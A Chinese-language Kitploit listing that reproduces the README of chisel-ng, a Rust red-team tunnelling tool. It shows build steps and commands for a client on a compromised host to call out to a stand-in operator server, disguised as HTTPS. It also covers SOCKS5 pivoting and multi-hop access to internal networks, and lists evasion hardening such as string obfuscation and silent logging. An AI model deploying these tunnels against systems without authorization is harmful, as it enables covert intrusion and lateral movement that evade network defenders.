Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
chisel-ng — Chisel 新一代,使用 Rust 编写。基于 WSS 的 SSH,带有一些自定义。 | Kitploit
工具/GitHubGitHub/nullsection/chisel-ng
IDS/IPS规避横向移动后渗透利用网络安全渗透测试命令与控制红队远程访问工具
GitHubnullsection/chisel-ng

chisel-ng

Chisel 新一代,使用 Rust 编写。基于 WSS 的 SSH,带有一些自定义。

查看仓库
13696个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
root@kitploit:~
       _     _          _
   ___| |__ (_)___  ___| |      _ __   __ _
  / __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
 | (__| | | | \__ \  __/ |_____| | | | (_| |
  \___|_| |_|_|___/\___|_|     |_| |_|\__, |
                                      |___/

chisel-ng

Rust License Windows Linux

chisel 的 Rust 实现版,用于渗透测试和红队行动。通过 SSH-over-WebSocket-over-TLS 建立反向隧道,使操作者能够在跨越被入侵主机时伪装成正常的 HTTPS 流量。


目录

  • 快速上手
  • 功能特性
  • 架构
  • 使用参考
    • 服务端(操作者)
    • 反向客户端(代理)
    • 绑定客户端(代理 - 入站模式)
    • CLI 命令
  • 多跳代理转发
  • 技术细节
  • OPSEC 注意事项
  • 免责声明

快速上手

环境要求

  • Rust 1.70+ (rustup.rs)

编译

root@kitploit:~
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release

输出二进制文件到 target/release/:chisel-server、chisel-client、chisel-bind-client

基本用法

1. 启动服务端(操作者):

root@kitploit:~
./chisel-server -p 'secret' -v

2. 运行客户端(目标):

root@kitploit:~
./chisel-client -s operator.example.com:8443 -p 'secret' -k

3. 创建隧道:

root@kitploit:~
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080

4. 访问内部服务:

root@kitploit:~
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/

功能特性

  • SSH over WebSocket over TLS - 伪装成正常 HTTPS 流量
  • 预共享密钥认证 - 简单、安全的认证方式
  • 动态端口转发 - 按需创建隧道
  • SOCKS5 代理 - 通过代理进行动态路由
  • 两种客户端模式 - 反向(向外连接)和绑定(接受入站)
  • 跨平台 - 支持 Windows 和 Linux

架构

root@kitploit:~
+------------------+              +----------------------------------+
|     操作者       |              |           目标网络              |
|                  |              |                                  |
| +--------------+ |     SSH      | +--------------+                 |
| |chisel-server |<---------------+-|chisel-client |                 |
| |    :8443     | |   (over TLS) | |  (reverse)   |                 |
| +--------------+ |              | +--------------+                 |
+------------------+              +----------------------------------+

协议栈:

root@kitploit:~
TCP -> TLS 1.3 -> WebSocket -> SSH -> 隧道数据
                     ^
            显示为 HTTPS

客户端模式:

  • 反向 (chisel-client) - 向外连接到服务端
  • 绑定 (chisel-bind-client) - 监听入站连接;服务端使用 connect 命令

使用参考

服务端(操作者)
root@kitploit:~
选项:
    -l, --listen <地址>      监听地址 [默认值: 0.0.0.0:8443]
    -p, --psk <PSK>          预共享密钥或口令 [环境变量: CHISEL_PSK]
        --cert <文件>        TLS 证书 (PEM 格式)
        --key <文件>         TLS 私钥 (PEM 格式)
        --generate-psk       生成随机 PSK 并退出
    -v, --verbose            详细输出
反向客户端(代理)
root@kitploit:~
选项:
    -s, --server <地址>      服务端地址 (host:port)
    -p, --psk <PSK>          预共享密钥或口令 [环境变量: CHISEL_PSK]
    -u, --user <标签>        会话标签 [默认值: agent]
    -k, --insecure           跳过 TLS 验证
        --no-reconnect       禁用自动重连
    -i, --interval <秒>      重连间隔 [默认值: 30]
        --heartbeat <秒>     心跳间隔 [默认值: 30]
    -v, --verbose            详细输出
绑定客户端(代理 - 入站模式)

适用于那些可以接受入站连接但无法发起出站连接的目标:

root@kitploit:~
选项:
    -l, --listen <地址>      监听地址 (例如 0.0.0.0:9000)
    -p, --psk <PSK>          预共享密钥或口令 [环境变量: CHISEL_PSK]
    -u, --user <标签>        会话标签 [默认值: agent]
    -k, --insecure           跳过 TLS 验证
        --heartbeat <秒>     心跳间隔 [默认值: 30]
    -v, --verbose            详细输出
服务端 CLI 命令

主菜单:

root@kitploit:~
sessions             列出已连接的会话
session <id>         选择会话
connect <ip:port>    连接到绑定客户端
disconnect <id>      断开会话(将自动重连)
kill <id>            终止客户端进程

会话菜单:

root@kitploit:~
tunnel <local>:<target_ip>:<target_port>    创建隧道
tunnel --local <local>:<target>:<port>      创建隧道(仅本地主机)
tunnel stop <port>                          停止隧道
tunnels                                     列出隧道
socks5 <port>                               启动 SOCKS5 代理
socks5 stop <port>                          停止 SOCKS5 代理
ping                                        测量延迟
ps                                          列出远程进程
netstat                                     列出远程连接

多跳代理转发

通过现有会话链式连接,可达隔离网络。

场景: DMZ 主机可与操作者通信。内部主机(10.0.0.50)只能通过 DMZ 访问。

root@kitploit:~
+----------+        +-----------+        +------------+
| 操作者    |--SSH---| 会话 1    |--TCP---| 会话 2     |
|  服务端   |        |   (DMZ)   |        | (内部网络) |
+----------+        +-----------+        +------------+

步骤 1 - 启动服务端(操作者):

root@kitploit:~
./chisel-server -p 'secret' -v

步骤 2 - 运行反向客户端(DMZ 主机):

root@kitploit:~
./chisel-client -s operator.example.com:8443 -p 'secret' -k

步骤 3 - 运行绑定客户端(内部主机 10.0.0.50):

root@kitploit:~
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k

步骤 4 - 创建隧道并连接(服务端 CLI):

root@kitploit:~
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
隧道已在 127.0.0.1:9000 启动

[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
会话 2 已注册

chisel-ng> session 2
[session-2] 内部网络 > socks5 1080

技术细节

隧道工作原理

创建隧道时(tunnel 8080:192.168.1.100:80):

  1. 服务端绑定本地端口 8080
  2. 连接建立后,服务端向代理发送 CONNECT 请求
  3. 代理连接到目标并打开 SSH direct-tcpip 通道
  4. 数据双向桥接
SOCKS5 工作原理

通过 RFC 1928 握手实现动态目标。返回正确的错误代码,以获得准确的端口扫描结果。


OPSEC 注意事项

二进制加固

发布版构建已加固:

  • 静默运行 - 所有日志编译为无操作
  • 字符串混淆 - 协议字符串在编译时进行 XOR 加密
  • 符号剥离 - 无调试符号或源路径
  • 体积优化 - 约 3 MB 对比调试版本的约 15 MB
  • Panic 行为 - 立即中止,无堆栈跟踪
运行安全
  • PSK 认证 - 由口令生成 256 位密钥(SHA-256)或直接使用原始十六进制
  • 无凭据存储 - PSK 仅通过参数或环境变量传入
  • 自动重连 - 默认启用,可配置间隔
  • 心跳 - 可配置的保持存活,通过 --heartbeat 0 禁用
检测向量
  • JA3/JA4 TLS 指纹
  • WebSocket 升级模式
  • 长连接持续时间
  • 一致的心跳间隔

免责声明

此工具仅供授权的安全测试使用。使用前请获取适当授权。作者不对滥用行为负责。


许可证

MIT

下载工具